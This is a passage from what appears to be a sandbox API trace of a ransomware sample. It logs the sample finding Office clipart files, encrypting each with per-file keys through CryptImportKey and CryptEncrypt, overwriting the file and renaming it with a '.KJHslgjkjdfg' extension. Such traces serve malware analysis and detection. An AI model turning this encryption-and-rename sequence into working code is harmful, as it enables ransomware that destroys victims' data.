lpOverlapped=0x0) returned 1 [0200.782] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.782] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.782] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.782] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.782] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x347c, lpOverlapped=0x0) returned 1 [0200.783] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3480, dwBufLen=0x3480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3480) returned 1 [0200.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.784] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3480, lpOverlapped=0x0) returned 1 [0200.784] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.784] SetEndOfFile (hFile=0x130) returned 1 [0200.785] GetProcessHeap () returned 0x2ef0000 [0200.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.785] GetProcessHeap () returned 0x2ef0000 [0200.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.kjhslgjkjdfg")) returned 1 [0200.786] CloseHandle (hObject=0x130) returned 1 [0200.786] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0200.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.787] GetProcessHeap () returned 0x2ef0000 [0200.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.787] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.787] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.789] GetProcessHeap () returned 0x2ef0000 [0200.789] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.789] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.789] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.790] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.790] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3014, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3014, lpOverlapped=0x0) returned 1 [0200.790] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3020, dwBufLen=0x3020 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3020) returned 1 [0200.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.791] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3020, lpOverlapped=0x0) returned 1 [0200.791] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.791] SetEndOfFile (hFile=0x130) returned 1 [0200.793] GetProcessHeap () returned 0x2ef0000 [0200.793] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.793] GetProcessHeap () returned 0x2ef0000 [0200.793] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.kjhslgjkjdfg")) returned 1 [0200.794] CloseHandle (hObject=0x130) returned 1 [0200.794] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0200.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.795] GetProcessHeap () returned 0x2ef0000 [0200.795] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.795] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.795] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.796] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.796] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.796] GetProcessHeap () returned 0x2ef0000 [0200.796] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.796] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.796] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.797] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x99c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x99c, lpOverlapped=0x0) returned 1 [0200.797] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9a0) returned 1 [0200.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9a0, lpOverlapped=0x0) returned 1 [0200.797] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] SetEndOfFile (hFile=0x130) returned 1 [0200.798] GetProcessHeap () returned 0x2ef0000 [0200.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.798] GetProcessHeap () returned 0x2ef0000 [0200.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.kjhslgjkjdfg")) returned 1 [0200.799] CloseHandle (hObject=0x130) returned 1 [0200.799] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0200.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.800] GetProcessHeap () returned 0x2ef0000 [0200.800] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.800] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.803] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.803] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.803] GetProcessHeap () returned 0x2ef0000 [0200.803] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.803] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.803] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.803] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.804] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.804] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.804] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.804] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1028, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1028, lpOverlapped=0x0) returned 1 [0200.805] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1030, dwBufLen=0x1030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1030) returned 1 [0200.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.806] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1030, lpOverlapped=0x0) returned 1 [0200.806] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.806] SetEndOfFile (hFile=0x130) returned 1 [0200.808] GetProcessHeap () returned 0x2ef0000 [0200.808] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.808] GetProcessHeap () returned 0x2ef0000 [0200.809] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.kjhslgjkjdfg")) returned 1 [0200.810] CloseHandle (hObject=0x130) returned 1 [0200.810] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0200.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.810] GetProcessHeap () returned 0x2ef0000 [0200.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.810] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.811] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.811] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.811] GetProcessHeap () returned 0x2ef0000 [0200.811] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.811] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.811] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.811] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.814] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.814] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.814] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3e10, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: 